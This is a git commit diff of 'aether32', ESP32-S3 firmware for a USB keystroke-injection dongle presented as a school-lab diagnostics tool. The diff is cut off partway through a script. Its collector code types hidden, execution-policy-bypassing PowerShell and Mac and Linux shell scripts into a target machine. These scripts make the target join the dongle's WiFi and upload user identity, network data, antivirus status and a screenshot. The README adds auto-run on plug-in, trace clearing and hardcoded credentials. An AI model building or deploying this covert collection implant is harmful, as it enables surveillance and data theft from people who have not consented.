commit 7bf6abccfc331e9056414a422031bfb2b080b66e Author: drjones Date: Mon Jun 1 21:34:33 2026 -0700 Initial aether32 school lab bench tool Co-authored-by: Cursor diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..66fc7a3 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.pio/ diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..080e70d --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,10 @@ +{ + // See http://go.microsoft.com/fwlink/?LinkId=827846 + // for the documentation about the extensions.json format + "recommendations": [ + "platformio.platformio-ide" + ], + "unwantedRecommendations": [ + "ms-vscode.cpptools-extension-pack" + ] +} diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..6d2b72a --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Dr Jones + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..86ff25e --- /dev/null +++ b/README.md @@ -0,0 +1,289 @@ +# aether32 + +**aether32** is a school-lab bench tool built on **ESP32-S3**: a USB HID keyboard dongle with an onboard WiFi access point and a phone-friendly web UI. Plug it into a lab PC, control diagnostics from your phone, and pull inventory reports **without an SD card** — scan results are stored on **LittleFS** flash and downloaded over WiFi. + +Made by Dr Jones. + +--- + +## Authorized use + +Use only on machines you own or are explicitly authorized to administer (school IT, lab maintenance, help-desk with permission). This tool automates keystrokes and temporarily joins the target to the dongle’s WiFi to upload diagnostics. **Do not use on student or staff machines without policy approval.** The authors are not responsible for misuse. + +--- + +## What it does (today) + +| Capability | Description | +|------------|-------------| +| **USB HID** | Types commands, shortcuts, and multi-line scripts on the target as a keyboard | +| **WiFi AP + web UI** | ESP32 hosts `aether32` WiFi; you browse `192.168.4.1` from a phone | +| **Lab Scan** | Target joins AP, POSTs hostname/network/disk/AV/uptime/etc. to flash; you download a report | +| **Saved buttons** | Up to 40 custom one-tap commands stored in flash | +| **Auto-Run** | Optional plug-in delay, shell open, command, and/or automatic Lab Scan | +| **No removable media** | SD/USB-MSC stack is **not** built (`storage/` excluded in `platformio.ini`) | + +--- + +## Hardware requirements + +- **Any ESP32-S3** board with native USB (HID). Default env: `esp32-s3-devkitm-1` +- **16 MB flash** recommended (see `platformio.ini`); LittleFS partition for results + config +- **No microSD card** required or supported in this build +- Optional: NeoPixel/RGB LED (status feedback on plug / auto-run / typing) + +--- + +## Build and flash + +1. Install [PlatformIO](https://platformio.org/) (VS Code extension or CLI). +2. Open the `aether32` folder as the project root. +3. Adjust `platformio.ini` if your board differs (`board = ...`, USB mode flags). +4. Build and upload (first flash also formats LittleFS as configured): + +```bash +cd aether32 +pio run -t upload +``` + +Monitor serial (optional): `pio device monitor -b 115200` + +**Note:** Do not expect SD-card features from older docs — `build_src_filter` excludes `components/storage/`. + +--- + +## WiFi and web authentication + +| Setting | Value | +|---------|--------| +| AP SSID | `aether32` | +| AP password | `aether32-admin` | +| Web URL | `http://192.168.4.1/` | +| HTTP Basic Auth | user `drjones` / password `aether32-admin` | + +The phone must join the **`aether32`** network to use the UI. Most authenticated routes require HTTP Basic Auth; see API table below. + +--- + +## Data flow (Lab Scan) + +```text +Phone ──WiFi──► ESP32 AP (192.168.4.1) + ▲ + │ POST /api/upload?name= (no auth; AP-local only) + │ +Target PC ◄──USB HID── ESP32 types script: + 1. Open hidden PowerShell / Terminal (OS-specific) + 2. Add WLAN profile & connect to aether32 + 3. Run diagnostics; HTTP POST each artifact to ESP32 + 4. Screenshot → screen.png + 5. exit + +Phone ◄── GET /api/download, /api/download/bundle ── reads LittleFS /results/* +``` + +**Operator checklist:** desktop **unlocked**, user session active, allow **~25–40 s** after starting Lab Scan for uploads. Target briefly uses WiFi on the dongle AP (may disconnect from school WiFi during upload). + +--- + +## Web UI tabs + +Mobile-oriented single-page app (dark theme). + +### My Buttons + +- Grid of saved commands (up to **40**), stored in flash (`/btns.dat`) +- Tap to run: opens shell (Win+R, CMD, PowerShell, or Elevated CMD) and types the command +- Color tiles are **UI-only** (picker index); not persisted server-side + +### + Builder + +- Create buttons: label, shell type, command text, key delay (5–200 ms) +- Manage / delete saved buttons + +### Tricks + +One-shot HID actions (no flash storage): + +- **Launch apps:** Calculator, Notepad, CMD, PowerShell, Elevated CMD, Task Manager, Settings, Control Panel, File Explorer +- **Window control:** Show desktop, minimize all, lock, close window, Alt+Tab (+ spam), Win snap arrows, screenshot shortcut, F5 +- **Keyboard:** Caps Lock, Ctrl+A/C/V/Z/S, zoom in/out, spam Enter/Esc +- **Recon (opens CMD):** `ver`, `ipconfig`, `whoami`, `tree C:\` +- **Party / demo:** fake error, ASCII art, telnet Star Wars, fake BSOD line, flip screen, Google/YouTube + +### Shell + +- **Run command:** shell selector + arbitrary command +- **Type raw text:** into active window; optional Notepad first, Enter after, delay + +### Collect + +- **Lab Scan** — full Windows-oriented inventory (see artifacts); retries with OS auto-detect profile if needed +- **Live status** — phase, last upload, file count, OS, hostname (polls `/api/status` every 2 s) +- **Quick lab fixes (Windows):** Flush DNS, Device Manager, Disk Management, clear `%TEMP%` (elevated) +- **Advanced scan:** auto-detect profile, Windows-only profile, screenshot only, IP config, `systeminfo` +- **Download:** bundled `labscan_.txt`, `screen.png`, per-file view/download +- **Collected files** — browser for everything in `/results/` + +### Auto-Run + +Stored in flash (`/cfg.dat`): + +- **Enable Auto-Run** — after USB plug-in delay, open shell and optionally type a command +- **Lab Scan on plug-in** — after delay (+ extra 4 s if auto-run enabled), run `collect_lab_scan()` automatically +- **Delay** — 500 ms–12 s (default 3.5 s) after USB enumerate +- **Shell** — elevated CMD (default), CMD, PowerShell, or Win+R only +- **Optional command** — typed after shell opens +- LED: orange on connect, red while firing, green when done + +### Tools + +- **Clear HID traces** — elevated cleanup under `C:\Windows\Temp\temp*` +- **Restart dongle** — reboot ESP32 (WiFi AP restarts) + +--- + +## Lab Scan artifacts + +Files are written under LittleFS **`/results/`** (plain text unless noted). + +### Full Lab Scan (Windows profile) + +| File | Contents | +|------|----------| +| `os.txt` | `windows` | +| `hostname.txt` | hostname + whoami | +| `network_macs.txt` | `getmac /v` | +| `network_full.txt` | `ipconfig /all` | +| `arp.txt` | ARP table | +| `routes.txt` | `route print` | +| `netstat.txt` | `netstat -an` | +| `collected_at.txt` | ISO timestamp | +| `disk_space.txt` | PSDrives + logical disk sizes | +| `logged_in_user.txt` | whoami + `query user` | +| `uptime.txt` | last boot + uptime | +| `av_status.txt` | Defender status or Security Center AV | +| `os_version.txt` | `Get-ComputerInfo` + OS version | +| `ram.txt` | physical RAM total (GB) | +| `gateway_dns.txt` | default route + DNS servers | +| `screen.png` | primary display screenshot | + +### macOS / Linux Lab Scan + +Same logical set where applicable (`os.txt` = `macos` or `linux`), using `ifconfig`/`ip`, `df`, `sw_vers` or `/etc/os-release`, `screencapture` / `scrot`, etc. Scripts no-op if `uname` does not match. + +### Lighter “profile” collect (Advanced Scan) + +Subset: `os.txt`, `hostname.txt`, network files, `collected_at.txt`, `screen.png` (no disk/AV/uptime extras unless full Lab Scan). + +### Optional individual collects (API via `collect_`) + +May be triggered from firmware (`collect_dispatch`) — not all exposed in UI: + +`disk_space`, `logged_in_user`, `uptime`, `av_status`, `os_version`, `ram`, `gateway_dns`, `sysinfo` → `sysinfo.txt`, `network` → `network_full.txt`, `arp`, `netstat`, `routes`, `hostname`, `users` → `whoami.txt`, `processes` → `processes.txt`, `screenshot`, `profile_auto` / `profile_windows` / `profile_macos` / `profile_linux`, `lab_scan` + +Bundled download (`/api/download/bundle`) merges: `os.txt`, `hostname.txt`, `collected_at.txt`, `network_macs.txt`, `network_full.txt`, `arp.txt`, `routes.txt`, `netstat.txt`, `sysinfo.txt`, `processes.txt` (skips missing files). + +--- + +## API summary + +| Method | Path | Auth | Purpose | +|--------|------|------|---------| +| GET | `/` | Yes | Main web UI (HTML SPA) | +| POST | `/run` | Yes | Run shell command (`cmd`, `shell`, `delay`) | +| POST | `/type` | Yes | Type text (`text`, `delay`, `enter`, `notepad`) | +| POST | `/trick` | Yes | HID trick or `collect_*` (`id`) | +| POST | `/restart` | Yes | Reboot ESP32 | +| POST | `/clear_trace` | Yes | HID temp cleanup on target | +| GET | `/api/buttons` | Yes | List saved buttons (JSON) | +| POST | `/api/buttons` | Yes | Add button | +| POST | `/api/buttons/delete` | Yes | Delete by index (`id`) | +| POST | `/api/upload` | **No** | Target uploads body (`?name=filename`, max ~250 KB) | +| GET | `/api/results` | Yes | List result files | +| GET | `/api/file?path=/results/` | Yes | Read text result | +| GET | `/api/profile` | Yes | OS, hostname, file list | +| GET | `/api/status` | Yes | Scan phase, uploads, counts | +| GET | `/api/download?path=/results/` | Yes | Download file | +| GET | `/api/download/bundle` | Yes | Combined text report | +| GET/POST | `/api/config` | Yes | Auto-run / lab-scan-on-plug settings | + +--- + +## Limitations + +- **Target needs WiFi** (built-in or USB) for Lab Scan uploads; machine joins dongle AP briefly +- **Unlocked session** required; timing depends on boot/login speed (increase Auto-Run delay on slow PCs) +- **OS-specific:** full Lab Scan UI path is Windows-first; Mac/Linux use terminal scripts with best-effort tools (`nmcli`, `scrot`, etc.) +- **Network disruption:** while connected to `aether32`, the PC may drop school WiFi +- **HID constraints:** UAC dialogs, focus stealing, non-US keyboards, and VM/USB policies can break typing +- **Flash size:** large screenshots + many scans fill LittleFS; clear old results or reflash filesystem if needed +- **Concurrent requests:** heavy parallel web traffic can stress the soft AP stack +- **Legacy code:** old browser-exfil / SD-MSC paths are not in this firmware build + +--- + +## Tested configuration + +- Board: ESP32-S3-DevKitM-1 (and similar S3 USB boards) +- Framework: PlatformIO, Arduino-ESP32 +- Targets: Windows 10/11 (primary), macOS/Linux (partial Lab Scan) + +--- + +## Planned features (roadmap) + +School-lab IT focus — diagnostic and inventory only (no credential harvesting). + +### Reliability + +1. **Upload acknowledgment & retry** — target retries failed POSTs until ESP32 confirms each file +2. **STA mode + school WiFi** — ESP32 joins lab VLAN so PCs never leave corporate SSID during scan +3. **Upload progress WebSocket/SSE** — phone sees per-file receive status in real time +4. **Pre-flight connectivity check** — HID script verifies `192.168.4.1` reachable before typing long payloads +5. **Graceful scan cancel** — stop in-progress collect from phone without reboot + +### Inventory & reporting + +6. **Asset tag / seat / room fields** — operator enters metadata; embedded in report filename and bundle +7. **CSV export of all scans** — append-only log on flash for semester audits +8. **Scan history timeline** — list past hostnames/timestamps on device; tap to re-download +9. **Compare to golden baseline** — diff installed software/services vs. a reference machine JSON +10. **Missing-software checklist** — flag absent apps (Chrome, Office, lab license tools) from baseline + +### Fleet helpers + +11. **Batch mode queue** — arm next N machines; auto-clear results between seats +12. **QR code on dongle** — sticker opens captive URL + WiFi join hints for substitutes +13. **Hostname dedup warning** — alert if scan overwrites an existing result without confirm +14. **Scheduled plug-in profile** — weekday vs. exam-week auto-run presets + +### Push to PC (authorized fixes) + +15. **Deploy script from flash** — store `.ps1`/`.bat` on ESP32; push to `%TEMP%` and execute from phone +16. **Typed macro sequences** — multi-step “fix printer” / “rejoin domain” without full shell scripts +17. **Software install helper** — silent install switches for approved MSI/EXE paths (IT-provided list only) +18. **Registry-free network reset** — documented keystroke sequence for winsock reset (with confirm) + +### UX + +19. **Light/dark theme toggle** — outdoor lab visibility +20. **Improved mobile layout** — larger tap targets, offline-friendly cached UI shell +21. **Pin favorites tab** — default to Collect or My Buttons per tech preference +22. **Button color persisted** — store color index in `/btns.dat` with each command + +### Security appropriate for schools + +23. **Role-separated HTTP auth** — read-only student tech vs. admin PIN for destructive actions +24. **Audit log on device** — who ran which trick/collect (phone session id + timestamp) +25. **Explicit “diagnostics only” build flag** — compile-time removal of prank tricks for production lab kits +26. **Result encryption at rest** — optional passphrase for downloads if dongle is lost +27. **Auto-wipe results after download** — reduce data left on flash between classes + +--- + +## Credits + +- ESP32 Arduino USB HID stack +- Lab workflow and firmware: Dr Jones +- Historical references (not used in current no-SD build): [HackBrowserData](https://github.com/moonD4rk/HackBrowserData), [esp32-sdcard-msc](https://github.com/atomic14/esp32-sdcard-msc) diff --git a/include/README b/include/README new file mode 100644 index 0000000..194dcd4 --- /dev/null +++ b/include/README @@ -0,0 +1,39 @@ + +This directory is intended for project header files. + +A header file is a file containing C declarations and macro definitions +to be shared between several project source files. You request the use of a +header file in your project source file (C, C++, etc) located in `src` folder +by including it, with the C preprocessing directive `#include'. + +```src/main.c + +#include "header.h" + +int main (void) +{ + ... +} +``` + +Including a header file produces the same results as copying the header file +into each source file that needs it. Such copying would be time-consuming +and error-prone. With a header file, the related declarations appear +in only one place. If they need to be changed, they can be changed in one +place, and programs that include the header file will automatically use the +new version when next recompiled. The header file eliminates the labor of +finding and changing all the copies as well as the risk that a failure to +find one copy will result in inconsistencies within a program. + +In C, the usual convention is to give header files names that end with `.h'. +It is most portable to use only letters, digits, dashes, and underscores in +header file names, and at most one dot. + +Read more about using header files in official GCC documentation: + +* Include Syntax +* Include Operation +* Once-Only Headers +* Computed Includes + +https://gcc.gnu.org/onlinedocs/cpp/Header-Files.html diff --git a/lib/README b/lib/README new file mode 100644 index 0000000..2593a33 --- /dev/null +++ b/lib/README @@ -0,0 +1,46 @@ + +This directory is intended for project specific (private) libraries. +PlatformIO will compile them to static libraries and link into executable file. + +The source code of each library should be placed in an own separate directory +("lib/your_library_name/[here are source files]"). + +For example, see a structure of the following two libraries `Foo` and `Bar`: + +|--lib +| | +| |--Bar +| | |--docs +| | |--examples +| | |--src +| | |- Bar.c +| | |- Bar.h +| | |- library.json (optional, custom build options, etc) https://docs.platformio.org/page/librarymanager/config.html +| | +| |--Foo +| | |- Foo.c +| | |- Foo.h +| | +| |- README --> THIS FILE +| +|- platformio.ini +|--src + |- main.c + +and a contents of `src/main.c`: +``` +#include +#include + +int main (void) +{ + ... +} + +``` + +PlatformIO Library Dependency Finder will find automatically dependent +libraries scanning project source files. + +More information about PlatformIO Library Dependency Finder +- https://docs.platformio.org/page/librarymanager/ldf.html diff --git a/platformio.ini b/platformio.ini new file mode 100644 index 0000000..9f34ebc --- /dev/null +++ b/platformio.ini @@ -0,0 +1,22 @@ +; PlatformIO Project Configuration File +; https://docs.platformio.org/page/projectconf.html + +[env:esp32-s3-devkitm-1] +platform = espressif32 +board = esp32-s3-devkitm-1 +framework = arduino + +monitor_speed = 115200 +board_build.flash_mode = qio +board_build.flash_size = 16MB +board_build.filesystem = littlefs + +; Exclude SD-card USB-MSC storage stack — no SD card required +build_src_filter = +<*> - + +lib_deps = + FS + adafruit/Adafruit NeoPixel@^1.12.2 + +build_flags = + -DARDUINO_USB_MODE diff --git a/src/components/button_store.cpp b/src/components/button_store.cpp new file mode 100644 index 0000000..5e2cdfd --- /dev/null +++ b/src/components/button_store.cpp @@ -0,0 +1,157 @@ +#include "button_store.h" +#include + +#define BTN_FILE "/btns.dat" +// Field separator — ASCII SOH, won't appear in normal commands +#define SEP '\x01' + +CmdButton g_buttons[MAX_BUTTONS]; +int g_button_count = 0; + +// Stored records are newline-delimited, so strip all control chars and separators. +static void sanitize(char *s, int maxlen) +{ + int out = 0; + for (int i = 0; s[i] && out < maxlen - 1; i++) + { + unsigned char c = (unsigned char)s[i]; + if (c == SEP || c < 0x20) + continue; + s[out++] = s[i]; + } + s[out] = '\0'; +} + +static void parse_line(const String &line) +{ + if (g_button_count >= MAX_BUTTONS) + return; + + int p0 = line.indexOf(SEP); + if (p0 < 0) return; + int p1 = line.indexOf(SEP, p0 + 1); + if (p1 < 0) return; + int p2 = line.indexOf(SEP, p1 + 1); + if (p2 < 0) return; + + CmdButton &b = g_buttons[g_button_count]; + strncpy(b.label, line.substring(0, p0).c_str(), BTN_LABEL_MAX - 1); + b.label[BTN_LABEL_MAX - 1] = '\0'; + strncpy(b.shell, line.substring(p0 + 1, p1).c_str(), BTN_SHELL_MAX - 1); + b.shell[BTN_SHELL_MAX - 1] = '\0'; + b.delay_ms = line.substring(p1 + 1, p2).toInt(); + if (b.delay_ms < 5 || b.delay_ms > 200) b.delay_ms = 15; + strncpy(b.cmd, line.substring(p2 + 1).c_str(), BTN_CMD_MAX - 1); + b.cmd[BTN_CMD_MAX - 1] = '\0'; + + sanitize(b.label, BTN_LABEL_MAX); + sanitize(b.shell, BTN_SHELL_MAX); + sanitize(b.cmd, BTN_CMD_MAX); + + g_button_count++; +} + +void buttons_load() +{ + g_button_count = 0; + File f = LittleFS.open(BTN_FILE, "r"); + if (!f) return; + + String line; + while (f.available()) + { + char c = (char)f.read(); + if (c == '\n') + { + line.trim(); + if (line.length() > 0) parse_line(line); + line = ""; + } + else + { + line += c; + } + } + if (line.length() > 0) + { + line.trim(); + if (line.length() > 0) parse_line(line); + } + f.close(); +} + +bool buttons_save() +{ + LittleFS.remove(BTN_FILE); + File f = LittleFS.open(BTN_FILE, "w"); + if (!f) return false; + + for (int i = 0; i < g_button_count; i++) + { + f.print(g_buttons[i].label); + f.print((char)SEP); + f.print(g_buttons[i].shell); + f.print((char)SEP); + f.print(g_buttons[i].delay_ms); + f.print((char)SEP); + f.print(g_buttons[i].cmd); + f.print('\n'); + } + f.close(); + return true; +} + +bool buttons_add(const char *label, const char *shell, int delay_ms, const char *cmd) +{ + if (g_button_count >= MAX_BUTTONS) return false; + if (!label || !cmd || strlen(label) == 0 || strlen(cmd) == 0) return false; + + CmdButton &b = g_buttons[g_button_count]; + strncpy(b.label, label, BTN_LABEL_MAX - 1); b.label[BTN_LABEL_MAX - 1] = '\0'; + strncpy(b.shell, shell, BTN_SHELL_MAX - 1); b.shell[BTN_SHELL_MAX - 1] = '\0'; + b.delay_ms = (delay_ms < 5 || delay_ms > 200) ? 15 : delay_ms; + strncpy(b.cmd, cmd, BTN_CMD_MAX - 1); b.cmd[BTN_CMD_MAX - 1] = '\0'; + sanitize(b.label, BTN_LABEL_MAX); + sanitize(b.shell, BTN_SHELL_MAX); + sanitize(b.cmd, BTN_CMD_MAX); + g_button_count++; + + return buttons_save(); +} + +bool buttons_delete(int idx) +{ + if (idx < 0 || idx >= g_button_count) return false; + + for (int i = idx; i < g_button_count - 1; i++) + g_buttons[i] = g_buttons[i + 1]; + + g_button_count--; + return buttons_save(); +} + +String buttons_to_json() +{ + String out = "["; + for (int i = 0; i < g_button_count; i++) + { + if (i > 0) out += ","; + out += "{\"id\":"; + out += i; + out += ",\"label\":\""; + String lbl = g_buttons[i].label; + lbl.replace("\\", "\\\\"); lbl.replace("\"", "\\\""); + out += lbl; + out += "\",\"shell\":\""; + out += g_buttons[i].shell; + out += "\",\"delay\":"; + out += g_buttons[i].delay_ms; + out += ",\"cmd\":\""; + String c = g_buttons[i].cmd; + c.replace("\\", "\\\\"); c.replace("\"", "\\\""); c.replace("\n", "\\n"); c.replace("\r", ""); + out += c; + out += "\"}"; + } + out += "]"; + return out; +} diff --git a/src/components/button_store.h b/src/components/button_store.h new file mode 100644 index 0000000..641ac5c --- /dev/null +++ b/src/components/button_store.h @@ -0,0 +1,27 @@ +#ifndef BUTTON_STORE_H +#define BUTTON_STORE_H + +#include + +#define MAX_BUTTONS 40 +#define BTN_LABEL_MAX 48 +#define BTN_CMD_MAX 220 +#define BTN_SHELL_MAX 16 + +struct CmdButton { + char label[BTN_LABEL_MAX]; + char shell[BTN_SHELL_MAX]; + int delay_ms; + char cmd[BTN_CMD_MAX]; +}; + +extern CmdButton g_buttons[MAX_BUTTONS]; +extern int g_button_count; + +void buttons_load(); +bool buttons_save(); +bool buttons_add(const char *label, const char *shell, int delay_ms, const char *cmd); +bool buttons_delete(int idx); +String buttons_to_json(); + +#endif diff --git a/src/components/collector.cpp b/src/components/collector.cpp new file mode 100644 index 0000000..77af804 --- /dev/null +++ b/src/components/collector.cpp @@ -0,0 +1,430 @@ +#include "collector.h" +#include "exescript.h" +#include "upload_status.h" + +// Must match wifi_server soft AP credentials +static const char *AP_SSID = "aether32"; +static const char *AP_PASS = "aether32-admin"; +static const char *UPLOAD = "http://192.168.4.1/api/upload"; + +static void type_lines(const char *lines[], int count, int del = 9) +{ + for (int i = 0; i < count; i++) + { + write_task(lines[i], del, true); + delay(320); + } +} + +static void open_run_hidden_ps() +{ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + Keyboard.releaseAll(); + delay(500); + write_task("powershell -w hidden -nop -ep bypass", 18, true); + delay(900); +} + +static void open_mac_terminal() +{ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press(' '); + Keyboard.releaseAll(); + delay(600); + write_task("Terminal", 20, false); + delay(400); + Keyboard.write(KEY_RETURN); + delay(1400); +} + +static void open_linux_terminal() +{ + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.write('t'); + Keyboard.releaseAll(); + delay(1600); +} + +// Windows: join aether32 WiFi, POST each artifact to ESP32 flash (no SD) +static void win_profile_steps() +{ + open_run_hidden_ps(); + + static const char *lines[] = { + "$u='http://192.168.4.1/api/upload'", + "$p=@'aether32aether32ESSmanualWPA2PSKAESfalsepassPhrasefalseaether32-admin'@", + "$p|Out-File $env:TEMP\\a32.xml -Enc ascii", + "netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null", + "netsh wlan connect name=aether32 ssid=aether32 2>$null", + "Start-Sleep 5", + "function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}", + "Up 'os.txt' 'windows'", + "Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))", + "Up 'network_macs.txt' (getmac /v /fo list | Out-String)", + "Up 'network_full.txt' (ipconfig /all | Out-String)", + "Up 'arp.txt' (arp -a | Out-String)", + "Up 'routes.txt' (route print | Out-String)", + "Up 'netstat.txt' (netstat -an | Out-String)", + "Up 'collected_at.txt' (Get-Date -Format o)", + "Add-Type -AssemblyName System.Windows.Forms,System.Drawing", + "$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds", + "$i=New-Object Drawing.Bitmap $b.Width,$b.Height", + "$g=[Drawing.Graphics]::FromImage($i)", + "$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)", + "$t=$env:TEMP+'\\a32sc.png'", + "$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)", + "$raw=[IO.File]::ReadAllBytes($t)", + "Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'", + "exit", + }; + type_lines(lines, sizeof(lines) / sizeof(lines[0])); +} + +// Windows lab scan: profile artifacts + disk, user, uptime, AV, OS, RAM, gateway/DNS +static void win_lab_scan_steps() +{ + open_run_hidden_ps(); + + static const char *lines[] = { + "$u='http://192.168.4.1/api/upload'", + "$p=@'aether32aether32ESSmanualWPA2PSKAESfalsepassPhrasefalseaether32-admin'@", + "$p|Out-File $env:TEMP\\a32.xml -Enc ascii", + "netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null", + "netsh wlan connect name=aether32 ssid=aether32 2>$null", + "Start-Sleep 5", + "function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}", + "Up 'os.txt' 'windows'", + "Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))", + "Up 'network_macs.txt' (getmac /v /fo list | Out-String)", + "Up 'network_full.txt' (ipconfig /all | Out-String)", + "Up 'arp.txt' (arp -a | Out-String)", + "Up 'routes.txt' (route print | Out-String)", + "Up 'netstat.txt' (netstat -an | Out-String)", + "Up 'collected_at.txt' (Get-Date -Format o)", + "Up 'disk_space.txt' ((Get-PSDrive -PSProvider FileSystem|Format-List|Out-String)+(Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table|Out-String))", + "Up 'logged_in_user.txt' ((whoami)+\"`n\"+(query user|Out-String))", + "Up 'uptime.txt' ($o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\")", + "Up 'av_status.txt' (try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String})", + "Up 'os_version.txt' ((Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List|Out-String)+([Environment]::OSVersion|Out-String))", + "Up 'ram.txt' (Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"})", + "Up 'gateway_dns.txt' ((Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table|Out-String)+(Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table|Out-String))", + "Add-Type -AssemblyName System.Windows.Forms,System.Drawing", + "$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds", + "$i=New-Object Drawing.Bitmap $b.Width,$b.Height", + "$g=[Drawing.Graphics]::FromImage($i)", + "$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)", + "$t=$env:TEMP+'\\a32sc.png'", + "$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)", + "$raw=[IO.File]::ReadAllBytes($t)", + "Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'", + "exit", + }; + type_lines(lines, sizeof(lines) / sizeof(lines[0])); +} + +static void mac_lab_scan_steps() +{ + open_mac_terminal(); + + static const char *script = + "[ \"$(uname)\" = Darwin ]||exit 0;" + "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;" + "sleep 5;" + "U=http://192.168.4.1/api/upload;" + "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };" + "up os.txt macos;" + "up hostname.txt \"$(hostname)\n$(whoami)\";" + "up network_full.txt \"$(ifconfig -a)\";" + "up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";" + "up arp.txt \"$(arp -a)\";" + "up netstat.txt \"$(netstat -an 2>/dev/null)\";" + "up collected_at.txt \"$(date -Iseconds)\";" + "up disk_space.txt \"$(df -h)\";" + "up logged_in_user.txt \"$(whoami; w)\";" + "up uptime.txt \"$(uptime; last reboot 2>/dev/null|head -3)\";" + "up av_status.txt \"$(spctl --status 2>/dev/null; system_profiler SPInstallHistoryDataType 2>/dev/null|grep -iE 'sophos|norton|mcafee|bitdefender|avast|avg'||echo Gatekeeper status above)\";" + "up os_version.txt \"$(sw_vers; uname -a)\";" + "up ram.txt \"$(sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory)\";" + "up gateway_dns.txt \"$(netstat -nr|grep default; scutil --dns 2>/dev/null|head -40)\";" + "screencapture -x /tmp/a32sc.png 2>/dev/null;" + "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";" + "exit"; + + write_task(script, 8, true); + delay(400); +} + +static void linux_lab_scan_steps() +{ + open_linux_terminal(); + + static const char *script = + "[ \"$(uname)\" = Linux ]||exit 0;" + "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;" + "sleep 5;" + "U=http://192.168.4.1/api/upload;" + "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };" + "up os.txt linux;" + "up hostname.txt \"$(hostname)\n$(whoami)\";" + "up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";" + "up network_full.txt \"$(ip addr)\";" + "up arp.txt \"$(ip neigh)\";" + "up routes.txt \"$(ip route)\";" + "up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";" + "up collected_at.txt \"$(date -Iseconds)\";" + "up disk_space.txt \"$(df -h)\";" + "up logged_in_user.txt \"$(whoami; w; id)\";" + "up uptime.txt \"$(uptime; who -b 2>/dev/null)\";" + "up av_status.txt \"$(systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -iE 'clamav|sophos|avg|bitdefender'||rpm -qa 2>/dev/null|grep -iE 'clam|sophos'||echo no common AV packages)\";" + "up os_version.txt \"$(cat /etc/os-release 2>/dev/null; uname -a)\";" + "up ram.txt \"$(free -h; grep MemTotal /proc/meminfo)\";" + "up gateway_dns.txt \"$(ip route|grep default; cat /etc/resolv.conf)\";" + "scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;" + "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;" + "exit"; + + write_task(script, 8, true); + delay(400); +} + +static void mac_profile_steps() +{ + open_mac_terminal(); + + static const char *script = + "[ \"$(uname)\" = Darwin ]||exit 0;" + "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;" + "sleep 5;" + "U=http://192.168.4.1/api/upload;" + "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };" + "up 